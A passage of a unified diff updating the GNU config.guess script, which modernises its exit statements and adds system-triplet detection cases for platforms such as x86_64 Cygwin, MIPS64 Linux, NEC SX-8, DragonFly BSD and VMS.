-	$CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm -f $dummy.c $dummy && exit 0
-	rm -f $dummy.c $dummy
+	$CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` &&
+		{ echo "$SYSTEM_NAME"; exit; }
 	echo unknown-hitachi-hiuxwe2
-	exit 0 ;;
+	exit ;;
     9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* )
 	echo hppa1.1-hp-bsd
-	exit 0 ;;
+	exit ;;
     9000/8??:4.3bsd:*:*)
 	echo hppa1.0-hp-bsd
-	exit 0 ;;
+	exit ;;
     *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*)
 	echo hppa1.0-hp-mpeix
-	exit 0 ;;
+	exit ;;
     hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* )
 	echo hppa1.1-hp-osf
-	exit 0 ;;
+	exit ;;
     hp8??:OSF1:*:*)
 	echo hppa1.0-hp-osf
-	exit 0 ;;
+	exit ;;
     i*86:OSF1:*:*)
 	if [ -x /usr/sbin/sysversion ] ; then
 	    echo ${UNAME_MACHINE}-unknown-osf1mk
 	else
 	    echo ${UNAME_MACHINE}-unknown-osf1
 	fi
-	exit 0 ;;
+	exit ;;
     parisc*:Lites*:*:*)
 	echo hppa1.1-hp-lites
-	exit 0 ;;
+	exit ;;
     C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*)
 	echo c1-convex-bsd
-        exit 0 ;;
+        exit ;;
     C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*)
 	if getsysinfo -f scalar_acc
 	then echo c32-convex-bsd
 	else echo c2-convex-bsd
 	fi
-        exit 0 ;;
+        exit ;;
     C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*)
 	echo c34-convex-bsd
-        exit 0 ;;
+        exit ;;
     C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*)
 	echo c38-convex-bsd
-        exit 0 ;;
+        exit ;;
     C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*)
 	echo c4-convex-bsd
-        exit 0 ;;
-    CRAY*X-MP:*:*:*)
-	echo xmp-cray-unicos
-        exit 0 ;;
+        exit ;;
     CRAY*Y-MP:*:*:*)
 	echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
+	exit ;;
     CRAY*[A-Z]90:*:*:*)
 	echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \
 	| sed -e 's/CRAY.*\([A-Z]90\)/\1/' \
 	      -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \
 	      -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
+	exit ;;
     CRAY*TS:*:*:*)
 	echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
-    CRAY*T3D:*:*:*)
-	echo alpha-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
+	exit ;;
     CRAY*T3E:*:*:*)
 	echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
+	exit ;;
     CRAY*SV1:*:*:*)
 	echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
-	exit 0 ;;
-    CRAY-2:*:*:*)
-	echo cray2-cray-unicos
-        exit 0 ;;
+	exit ;;
+    *:UNICOS/mp:*:*)
+	echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+	exit ;;
     F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*)
 	FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
         FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
         FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'`
         echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
-        exit 0 ;;
+        exit ;;
+    5000:UNIX_System_V:4.*:*)
+        FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
+        FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'`
+        echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
+	exit ;;
     i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*)
 	echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     sparc*:BSD/OS:*:*)
 	echo sparc-unknown-bsdi${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:BSD/OS:*:*)
 	echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:FreeBSD:*:*)
-	echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`
-	exit 0 ;;
+	case ${UNAME_MACHINE} in
+	    pc98)
+		echo i386-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
+	    amd64)
+		echo x86_64-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
+	    *)
+		echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;;
+	esac
+	exit ;;
     i*:CYGWIN*:*)
 	echo ${UNAME_MACHINE}-pc-cygwin
-	exit 0 ;;
-    i*:MINGW*:*)
+	exit ;;
+    *:MINGW*:*)
 	echo ${UNAME_MACHINE}-pc-mingw32
-	exit 0 ;;
+	exit ;;
+    i*:windows32*:*)
+    	# uname -m includes "-pc" on this system.
+    	echo ${UNAME_MACHINE}-mingw32
+	exit ;;
     i*:PW*:*)
 	echo ${UNAME_MACHINE}-pc-pw32
-	exit 0 ;;
-    x86:Interix*:3*)
-	echo i386-pc-interix3
-	exit 0 ;;
+	exit ;;
+    *:Interix*:[3456]*)
+    	case ${UNAME_MACHINE} in
+	    x86)
+		echo i586-pc-interix${UNAME_RELEASE}
+		exit ;;
+	    EM64T | authenticamd)
+		echo x86_64-unknown-interix${UNAME_RELEASE}
+		exit ;;
+	esac ;;
+    [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*)
+	echo i${UNAME_MACHINE}-pc-mks
+	exit ;;
     i*:Windows_NT*:* | Pentium*:Windows_NT*:*)
 	# How do we know it's Interix rather than the generic POSIX subsystem?
 	# It also conflicts with pre-2.0 versions of AT&T UWIN. Should we
 	# UNAME_MACHINE based on the output of uname instead of i386?
-	echo i386-pc-interix
-	exit 0 ;;
+	echo i586-pc-interix
+	exit ;;
     i*:UWIN*:*)
 	echo ${UNAME_MACHINE}-pc-uwin
-	exit 0 ;;
+	exit ;;
+    amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*)
+	echo x86_64-unknown-cygwin
+	exit ;;
     p*:CYGWIN*:*)
 	echo powerpcle-unknown-cygwin
-	exit 0 ;;
+	exit ;;
     prep*:SunOS:5.*:*)
 	echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
-	exit 0 ;;
+	exit ;;
     *:GNU:*:*)
+	# the GNU system
 	echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'`
-	exit 0 ;;
+	exit ;;
+    *:GNU/*:*:*)
+	# other systems with GNU libc and userland
+	echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu
+	exit ;;
     i*86:Minix:*:*)
 	echo ${UNAME_MACHINE}-pc-minix
-	exit 0 ;;
+	exit ;;
     arm*:Linux:*:*)
 	echo ${UNAME_MACHINE}-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
+    avr32*:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    cris:Linux:*:*)
+	echo cris-axis-linux-gnu
+	exit ;;
+    crisv32:Linux:*:*)
+	echo crisv32-axis-linux-gnu
+	exit ;;
+    frv:Linux:*:*)
+    	echo frv-unknown-linux-gnu
+	exit ;;
     ia64:Linux:*:*)
-	echo ${UNAME_MACHINE}-unknown-linux
-	exit 0 ;;
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
+    m32r*:Linux:*:*)
+	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
     m68*:Linux:*:*)
 	echo ${UNAME_MACHINE}-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     mips:Linux:*:*)
 	eval $set_cc_for_build
 	sed 's/^	//' << EOF >$dummy.c
 	#undef CPU
 	#undef mips
 	#undef mipsel
-	#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) 
-	CPU=mipsel 
+	#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
+	CPU=mipsel
 	#else
-	#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) 
+	#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
 	CPU=mips
 	#else
 	CPU=
 	#endif
-	#endif 
+	#endif
+EOF
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^CPU/{
+		s: ::g
+		p
+	    }'`"
+	test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; }
+	;;
+    mips64:Linux:*:*)
+	eval $set_cc_for_build
+	sed 's/^	//' << EOF >$dummy.c
+	#undef CPU
+	#undef mips64
+	#undef mips64el
+	#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
+	CPU=mips64el
+	#else
+	#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
+	CPU=mips64
+	#else
+	CPU=
+	#endif
+	#endif
 EOF
-	eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=`
-	rm -f $dummy.c
-	test x"${CPU}" != x && echo "${CPU}-pc-linux-gnu" && exit 0
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^CPU/{
+		s: ::g
+		p
+	    }'`"
+	test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; }
 	;;
+    or32:Linux:*:*)
+	echo or32-unknown-linux-gnu
+	exit ;;
     ppc:Linux:*:*)
 	echo powerpc-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     ppc64:Linux:*:*)
 	echo powerpc64-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     alpha:Linux:*:*)
 	case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in
 	  EV5)   UNAME_MACHINE=alphaev5 ;;
@@ -809,7 +924,7 @@
 	objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null
 	if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi
 	echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC}
-	exit 0 ;;
+	exit ;;
     parisc:Linux:*:* | hppa:Linux:*:*)
 	# Look for CPU level
 	case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in
@@ -817,29 +932,37 @@
 	  PA8*) echo hppa2.0-unknown-linux-gnu ;;
 	  *)    echo hppa-unknown-linux-gnu ;;
 	esac
-	exit 0 ;;
+	exit ;;
     parisc64:Linux:*:* | hppa64:Linux:*:*)
 	echo hppa64-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     s390:Linux:*:* | s390x:Linux:*:*)
 	echo ${UNAME_MACHINE}-ibm-linux
-	exit 0 ;;
+	exit ;;
+    sh64*:Linux:*:*)
+    	echo ${UNAME_MACHINE}-unknown-linux-gnu
+	exit ;;
     sh*:Linux:*:*)
 	echo ${UNAME_MACHINE}-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
     sparc:Linux:*:* | sparc64:Linux:*:*)
 	echo ${UNAME_MACHINE}-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
+    vax:Linux:*:*)
+	echo ${UNAME_MACHINE}-dec-linux-gnu
+	exit ;;
     x86_64:Linux:*:*)
 	echo x86_64-unknown-linux-gnu
-	exit 0 ;;
+	exit ;;
+    xtensa:Linux:*:*)
+    	echo xtensa-unknown-linux-gnu
+	exit ;;
     i*86:Linux:*:*)
 	# The BFD linker knows what the default object file format is, so
 	# first see if it will tell us. cd to the root directory to prevent
 	# problems with other programs or directories called `ld' in the path.
-	# Export LANG=C to prevent ld from outputting information in other
-	# languages.
-	ld_supported_targets=`LANG=C; export LANG; cd /; ld --help 2>&1 \
+	# Set LC_ALL=C to ensure ld outputs messages in English.
+	ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \
 			 | sed -ne '/supported targets:/!d
 				    s/[ 	][ 	]*/ /g
 				    s/.*supported targets: *//
@@ -851,15 +974,15 @@
 		;;
 	  a.out-i386-linux)
 		echo "${UNAME_MACHINE}-pc-linux-gnuaout"
-		exit 0 ;;		
+		exit ;;
 	  coff-i386)
 		echo "${UNAME_MACHINE}-pc-linux-gnucoff"
-		exit 0 ;;
+		exit ;;
 	  "")
 		# Either a pre-BFD a.out linker (linux-gnuoldld) or
 		# one that does not give us useful --help.
 		echo "${UNAME_MACHINE}-pc-linux-gnuoldld"
-		exit 0 ;;
+		exit ;;
 	esac
 	# Determine whether the default compiler is a.out or elf
 	eval $set_cc_for_build
@@ -876,24 +999,33 @@
 	LIBC=gnulibc1
 	# endif
 	#else
-	#ifdef __INTEL_COMPILER
+	#if defined(__INTEL_COMPILER) || defined(__PGI) || defined(__SUNPRO_C) || defined(__SUNPRO_CC)
 	LIBC=gnu
 	#else
 	LIBC=gnuaout
 	#endif
 	#endif
+	#ifdef __dietlibc__
+	LIBC=dietlibc
+	#endif
 EOF
-	eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=`
-	rm -f $dummy.c
-	test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0
-	test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0
+	eval "`$CC_FOR_BUILD -E $dummy.c 2>/dev/null | sed -n '
+	    /^LIBC/{
+		s: ::g
+		p
+	    }'`"
+	test x"${LIBC}" != x && {
+		echo "${UNAME_MACHINE}-pc-linux-${LIBC}"
+		exit
+	}
+	test x"${TENTATIVE}" != x && { echo "${TENTATIVE}"; exit; }
 	;;
     i*86:DYNIX/ptx:4*:*)
 	# ptx 4.0 does uname -s correctly, with DYNIX/ptx in there.
 	# earlier versions are messed up and put the nodename in both
 	# sysname and nodename.
 	echo i386-sequent-sysv4
-	exit 0 ;;
+	exit ;;
     i*86:UNIX_SV:4.2MP:2.*)
         # Unixware is an offshoot of SVR4, but it has its own version
         # number series starting with 2...
@@ -901,7 +1033,27 @@
 	# I just have to hope.  -- rms.
         # Use sysv4.2uw... so that sysv4* matches it.
 	echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION}
-	exit 0 ;;
+	exit ;;
+    i*86:OS/2:*:*)
+	# If we were able to find `uname', then EMX Unix compatibility
+	# is probably installed.
+	echo ${UNAME_MACHINE}-pc-os2-emx
+	exit ;;
+    i*86:XTS-300:*:STOP)
+	echo ${UNAME_MACHINE}-unknown-stop
+	exit ;;
+    i*86:atheos:*:*)
+	echo ${UNAME_MACHINE}-unknown-atheos
+	exit ;;
+    i*86:syllable:*:*)
+	echo ${UNAME_MACHINE}-pc-syllable
+	exit ;;
+    i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*)
+	echo i386-unknown-lynxos${UNAME_RELEASE}
+	exit ;;
+    i*86:*DOS:*:*)
+	echo ${UNAME_MACHINE}-pc-msdosdjgpp
+	exit ;;
     i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*)
 	UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'`
 	if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then
@@ -909,99 +1061,100 @@
 	else
 		echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL}
 	fi
-	exit 0 ;;
-    i*86:*:5:[78]*)
+	exit ;;
+    i*86:*:5:[678]*)
+    	# UnixWare 7.x, OpenUNIX and OpenServer 6.
 	case `/bin/uname -X | grep "^Machine"` in
 	    *486*)	     UNAME_MACHINE=i486 ;;
 	    *Pentium)	     UNAME_MACHINE=i586 ;;
 	    *Pent*|*Celeron) UNAME_MACHINE=i686 ;;
 	esac
 	echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}
-	exit 0 ;;
+	exit ;;
     i*86:*:3.2:*)
 	if test -f /usr/options/cb.name; then
 		UNAME_REL=`sed -n 's/.*Version //p' </usr/options/cb.name`
 		echo ${UNAME_MACHINE}-pc-isc$UNAME_REL
 	elif /bin/uname -X 2>/dev/null >/dev/null ; then
-		UNAME_REL=`(/bin/uname -X|egrep Release|sed -e 's/.*= //')`
-		(/bin/uname -X|egrep i80486 >/dev/null) && UNAME_MACHINE=i486
-		(/bin/uname -X|egrep '^Machine.*Pentium' >/dev/null) \
+		UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')`
+		(/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486
+		(/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \
 			&& UNAME_MACHINE=i586
-		(/bin/uname -X|egrep '^Machine.*Pent ?II' >/dev/null) \
+		(/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \
 			&& UNAME_MACHINE=i686
-		(/bin/uname -X|egrep '^Machine.*Pentium Pro' >/dev/null) \
+		(/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \
 			&& UNAME_MACHINE=i686
 		echo ${UNAME_MACHINE}-pc-sco$UNAME_REL
 	else
 		echo ${UNAME_MACHINE}-pc-sysv32
 	fi
-	exit 0 ;;
-    i*86:*DOS:*:*)
-	echo ${UNAME_MACHINE}-pc-msdosdjgpp
-	exit 0 ;;
+	exit ;;
     pc:*:*:*)
 	# Left here for compatibility:
         # uname -m prints for DJGPP always 'pc', but it prints nothing about
         # the processor, so we play safe by assuming i386.
 	echo i386-pc-msdosdjgpp
-        exit 0 ;;
+        exit ;;
     Intel:Mach:3*:*)
 	echo i386-pc-mach3
-	exit 0 ;;
+	exit ;;
     paragon:*:*:*)
 	echo i860-intel-osf1
-	exit 0 ;;
+	exit ;;
     i860:*:4.*:*) # i860-SVR4
 	if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then
 	  echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4
 	else # Add other i860-SVR4 vendors below as they are discovered.
 	  echo i860-unknown-sysv${UNAME_RELEASE}  # Unknown i860-SVR4
 	fi
-	exit 0 ;;
+	exit ;;
     mini*:CTIX:SYS*5:*)
 	# "miniframe"
 	echo m68010-convergent-sysv
-	exit 0 ;;
-    M68*:*:R3V[567]*:*)
-	test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;;
-    3[34]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0)
+	exit ;;
+    mc68k:UNIX:SYSTEM5:3.51m)
+	echo m68k-convergent-sysv
+	exit ;;
+    M680?0:D-NIX:5.3:*)
+	echo m68k-diab-dnix
+	exit ;;
+    M68*:*:R3V[5678]*:*)
+	test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;;
+    3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0)
 	OS_REL=''
 	test -r /etc/.relid \
 	&& OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
 	/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
-	  && echo i486-ncr-sysv4.3${OS_REL} && exit 0
+	  && { echo i486-ncr-sysv4.3${OS_REL}; exit; }
 	/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
-	  && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;;
+	  && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;;
     3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*)
         /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
-          && echo i486-ncr-sysv4 && exit 0 ;;
+          && { echo i486-ncr-sysv4; exit; } ;;
     m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*)
 	echo m68k-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     mc68030:UNIX_System_V:4.*:*)
 	echo m68k-atari-sysv4
-	exit 0 ;;
-    i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*)
-	echo i386-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     TSUNAMI:LynxOS:2.*:*)
 	echo sparc-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     rs6000:LynxOS:2.*:*)
 	echo rs6000-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*)
 	echo powerpc-unknown-lynxos${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     SM[BE]S:UNIX_SV:*:*)
 	echo mips-dde-sysv${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     RM*:ReliantUNIX-*:*:*)
 	echo mips-sni-sysv4
-	exit 0 ;;
+	exit ;;
     RM*:SINIX-*:*:*)
 	echo mips-sni-sysv4
-	exit 0 ;;
+	exit ;;
     *:SINIX-*:*:*)
 	if uname -p 2>/dev/null >/dev/null ; then
 		UNAME_MACHINE=`(uname -p) 2>/dev/null`
@@ -1009,82 +1162,107 @@
 	else
 		echo ns32k-sni-sysv
 	fi
-	exit 0 ;;
+	exit ;;
     PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort
                       # says <Richard.M.Bartel@ccMail.Census.GOV>
         echo i586-unisys-sysv4
-        exit 0 ;;
+        exit ;;
     *:UNIX_System_V:4*:FTX*)
 	# From Gerald Hewes <hewes@openmarket.com>.
 	# How about differentiating between stratus architectures? -djm
 	echo hppa1.1-stratus-sysv4
-	exit 0 ;;
+	exit ;;
     *:*:*:FTX*)
 	# From seanf@swdc.stratus.com.
 	echo i860-stratus-sysv4
-	exit 0 ;;
+	exit ;;
+    i*86:VOS:*:*)
+	# From Paul.Green@stratus.com.
+	echo ${UNAME_MACHINE}-stratus-vos
+	exit ;;
     *:VOS:*:*)
 	# From Paul.Green@stratus.com.
 	echo hppa1.1-stratus-vos
-	exit 0 ;;
+	exit ;;
     mc68*:A/UX:*:*)
 	echo m68k-apple-aux${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     news*:NEWS-OS:6*:*)
 	echo mips-sony-newsos6
-	exit 0 ;;
+	exit ;;
     R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*)
 	if [ -d /usr/nec ]; then
 	        echo mips-nec-sysv${UNAME_RELEASE}
 	else
 	        echo mips-unknown-sysv${UNAME_RELEASE}
 	fi
-        exit 0 ;;
+        exit ;;
     BeBox:BeOS:*:*)	# BeOS running on hardware made by Be, PPC only.
 	echo powerpc-be-beos
-	exit 0 ;;
+	exit ;;
     BeMac:BeOS:*:*)	# BeOS running on Mac or Mac clone, PPC only.
 	echo powerpc-apple-beos
-	exit 0 ;;
+	exit ;;
     BePC:BeOS:*:*)	# BeOS running on Intel PC compatible.
 	echo i586-pc-beos
-	exit 0 ;;
+	exit ;;
     SX-4:SUPER-UX:*:*)
 	echo sx4-nec-superux${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     SX-5:SUPER-UX:*:*)
 	echo sx5-nec-superux${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
+    SX-6:SUPER-UX:*:*)
+	echo sx6-nec-superux${UNAME_RELEASE}
+	exit ;;
+    SX-7:SUPER-UX:*:*)
+	echo sx7-nec-superux${UNAME_RELEASE}
+	exit ;;
+    SX-8:SUPER-UX:*:*)
+	echo sx8-nec-superux${UNAME_RELEASE}
+	exit ;;
+    SX-8R:SUPER-UX:*:*)
+	echo sx8r-nec-superux${UNAME_RELEASE}
+	exit ;;
     Power*:Rhapsody:*:*)
 	echo powerpc-apple-rhapsody${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:Rhapsody:*:*)
 	echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:Darwin:*:*)
-	echo `uname -p`-apple-darwin${UNAME_RELEASE}
-	exit 0 ;;
+	UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown
+	case $UNAME_PROCESSOR in
+	    unknown) UNAME_PROCESSOR=powerpc ;;
+	esac
+	echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE}
+	exit ;;
     *:procnto*:*:* | *:QNX:[0123456789]*:*)
-	if test "${UNAME_MACHINE}" = "x86pc"; then
+	UNAME_PROCESSOR=`uname -p`
+	if test "$UNAME_PROCESSOR" = "x86"; then
+		UNAME_PROCESSOR=i386
 		UNAME_MACHINE=pc
 	fi
-	echo `uname -p`-${UNAME_MACHINE}-nto-qnx
-	exit 0 ;;
+	echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE}
+	exit ;;
     *:QNX:*:4*)
 	echo i386-pc-qnx
-	exit 0 ;;
-    NSR-[GKLNPTVW]:NONSTOP_KERNEL:*:*)
+	exit ;;
+    NSE-?:NONSTOP_KERNEL:*:*)
+	echo nse-tandem-nsk${UNAME_RELEASE}
+	exit ;;
+    NSR-?:NONSTOP_KERNEL:*:*)
 	echo nsr-tandem-nsk${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:NonStop-UX:*:*)
 	echo mips-compaq-nonstopux
-	exit 0 ;;
+	exit ;;
     BS2000:POSIX*:*:*)
 	echo bs2000-siemens-sysv
-	exit 0 ;;
+	exit ;;
     DS/*:UNIX_System_V:*:*)
 	echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE}
-	exit 0 ;;
+	exit ;;
     *:Plan9:*:*)
 	# "uname -m" is not consistent, so use $cputype instead. 386
 	# is converted to i386 for consistency with other x86
@@ -1095,36 +1273,47 @@
 	    UNAME_MACHINE="$cputype"
 	fi
 	echo ${UNAME_MACHINE}-unknown-plan9
-	exit 0 ;;
-    i*86:OS/2:*:*)
-	# If we were able to find `uname', then EMX Unix compatibility
-	# is probably installed.
-	echo ${UNAME_MACHINE}-pc-os2-emx
-	exit 0 ;;
+	exit ;;
     *:TOPS-10:*:*)
 	echo pdp10-unknown-tops10
-	exit 0 ;;
+	exit ;;
     *:TENEX:*:*)
 	echo pdp10-unknown-tenex
-	exit 0 ;;
+	exit ;;
     KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*)
 	echo pdp10-dec-tops20
-	exit 0 ;;
+	exit ;;
     XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*)
 	echo pdp10-xkl-tops20
-	exit 0 ;;
+	exit ;;
     *:TOPS-20:*:*)
 	echo pdp10-unknown-tops20
-	exit 0 ;;
+	exit ;;
     *:ITS:*:*)
 	echo pdp10-unknown-its
-	exit 0 ;;
-    i*86:XTS-300:*:STOP)
-	echo ${UNAME_MACHINE}-unknown-stop
-	exit 0 ;;
-    i*86:atheos:*:*)
-	echo ${UNAME_MACHINE}-unknown-atheos
-	exit 0 ;;
+	exit ;;
+    SEI:*:*:SEIUX)
+        echo mips-sei-seiux${UNAME_RELEASE}
+	exit ;;
+    *:DragonFly:*:*)
+	echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`
+	exit ;;
+    *:*VMS:*:*)
+    	UNAME_MACHINE=`(uname -p) 2>/dev/null`
+	case "${UNAME_MACHINE}" in
+	    A*) echo alpha-dec-vms ; exit ;;
+	    I*) echo ia64-dec-vms ; exit ;;
+	    V*) echo vax-dec-vms ; exit ;;
+	esac ;;
+    *:XENIX:*:SysV)
+	echo i386-pc-xenix
+	exit ;;
+    i*86:skyos:*:*)
+	echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//'
+	exit ;;
+    i*86:rdos:*:*)
